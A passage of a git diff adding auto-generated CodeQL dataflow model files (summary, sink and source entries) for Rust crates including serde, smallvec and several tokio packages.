"taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_bound", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_self_bound", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_where_predicates", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_where_predicates_from_fields", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_where_predicates_from_variants", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::internals::ungroup", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-serde_test_suite.model.yml b/rust/ql/lib/ext/generated/serde/repo-serde_test_suite.model.yml new file mode 100644 index 000000000000..103fc5f1533c --- /dev/null +++ b/rust/ql/lib/ext/generated/serde/repo-serde_test_suite.model.yml @@ -0,0 +1,33 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::serde_test_suite", "::variant_seed", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[1]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::visit_byte_buf", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::remote::NewtypePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::NewtypePrivDef(0)]", "ReturnValue.Field[crate::remote::NewtypePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[crate::remote::NewtypePriv(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::NewtypePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::remote::PrimitivePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::PrimitivePrivDef(0)]", "ReturnValue.Field[crate::remote::PrimitivePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[crate::remote::PrimitivePriv(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::PrimitivePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::StructGenericWithGetterDef::value]", "ReturnValue.Field[crate::remote::StructGeneric::value]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get_value", "Argument[self].Field[crate::remote::StructGeneric::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::StructPrivDef::a]", "ReturnValue.Field[crate::remote::StructPriv::a]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::StructPrivDef::b]", "ReturnValue.Field[crate::remote::StructPriv::b]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::a", "Argument[self].Field[crate::remote::StructPriv::a]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::b", "Argument[self].Field[crate::remote::StructPriv::b]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::StructPriv::a]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[1]", "ReturnValue.Field[crate::remote::StructPriv::b]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::serde_test_suite", "::first", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::first", "Argument[self].Field[crate::remote::TuplePriv(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::TuplePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[1]", "ReturnValue.Field[crate::remote::TuplePriv(1)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::second", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::second", "Argument[self].Field[crate::remote::TuplePriv(1)]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml new file mode 100644 index 000000000000..d0ca9a017612 --- /dev/null +++ b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml @@ -0,0 +1,42 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drop", "Argument[self].Field[crate::SetLenOnDrop::local_len]", "Argument[self].Field[crate::SetLenOnDrop::len].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::borrow_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::index_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_mut_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::DrainFilter::pred]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::DrainFilter::vec]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_const_with_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_raw_parts", "Argument[2]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::retain", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::try_grow", "Argument[0]", "Argument[self].Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::next", "Argument[self].Field[crate::tests::MockHintIter::x].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self].Field[crate::tests::MockHintIter::hint]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self].Field[crate::tests::insert_many_panic::BadIter::hint]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drop", "Argument[self]", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-benches.model.yml b/rust/ql/lib/ext/generated/tokio/repo-benches.model.yml new file mode 100644 index 000000000000..d371cb1ae58e --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-benches.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::benches", "::poll_read", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-macros.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-macros.model.yml new file mode 100644 index 000000000000..d75cefcd1ebe --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-macros.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::entry::main", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::entry::test", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::select::clean_pattern_macro", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::select_priv_clean_pattern", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml new file mode 100644 index 000000000000..76217f9951fc --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml @@ -0,0 +1,90 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::extend", "Argument[2].Field[crate::result::Result::Err(0)]", "Argument[1].Reference.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::stream_close::StreamNotifyClose::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_close::StreamNotifyClose::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::all::AllFuture::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::all::AllFuture::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::any::AnyFuture::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::any::AnyFuture::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::chain::Chain::b]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::chunks_timeout::ChunksTimeout::cap]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[2]", "ReturnValue.Field[crate::stream_ext::chunks_timeout::ChunksTimeout::duration]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::collect::Collect::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::filter::Filter::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::filter::Filter::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::filter_map::FilterMap::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::filter_map::FilterMap::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::fold::FoldFuture::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::fold::FoldFuture::acc].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[2]", "ReturnValue.Field[crate::stream_ext::fold::FoldFuture::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::fuse::Fuse::stream].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::map::Map::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::map::Map::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::peek", "Argument[self].Field[crate::stream_ext::peekable::Peekable::peek].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip::Skip::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip::Skip::remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::predicate].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::take::Take::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::take::Take::remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::take_while::TakeWhile::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::take_while::TakeWhile::predicate]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::then::Then::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::then::Then::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::get_mut", "Argument[self].Field[crate::stream_ext::throttle::Throttle::stream]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::get_ref", "Argument[self].Field[crate::stream_ext::throttle::Throttle::stream]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::stream_ext::throttle::Throttle::stream]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout::Timeout::duration]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout_repeating::TimeoutRepeating::interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::try_next::TryNext::inner].Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::interval::IntervalStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::lines::LinesStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::lines::LinesStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::lines::LinesStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::lines::LinesStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::mpsc_bounded::ReceiverStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::mpsc_unbounded::UnboundedReceiverStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::read_dir::ReadDirStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::read_dir::ReadDirStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::read_dir::ReadDirStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::read_dir::ReadDirStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::signal_unix::SignalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::signal_unix::SignalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::signal_unix::SignalStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::signal_unix::SignalStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::split::SplitStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::split::SplitStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::split::SplitStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::split::SplitStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::tcp_listener::TcpListenerStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::unix_listener::UnixListenerStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "crate::stream_ext::throttle::throttle", "Argument[0]", "ReturnValue.Field[crate::stream_ext::throttle::Throttle::duration]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "crate::stream_ext::throttle::throttle", "Argument[1]", "ReturnValue.Field[crate::stream_ext::throttle::Throttle::stream]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml new file mode 100644 index 000000000000..cff2c622acff --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml @@ -0,0 +1,24 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::build", "Argument[self].Field[crate::io::Builder::actions].Reference", "ReturnValue.Field[crate::io::Mock::inner].Field[crate::io::Inner::actions]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::build", "Argument[self].Field[crate::io::Builder::name].Reference", "ReturnValue.Field[crate::io::Mock::inner].Field[crate::io::Inner::name]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::wait", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::read_error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - 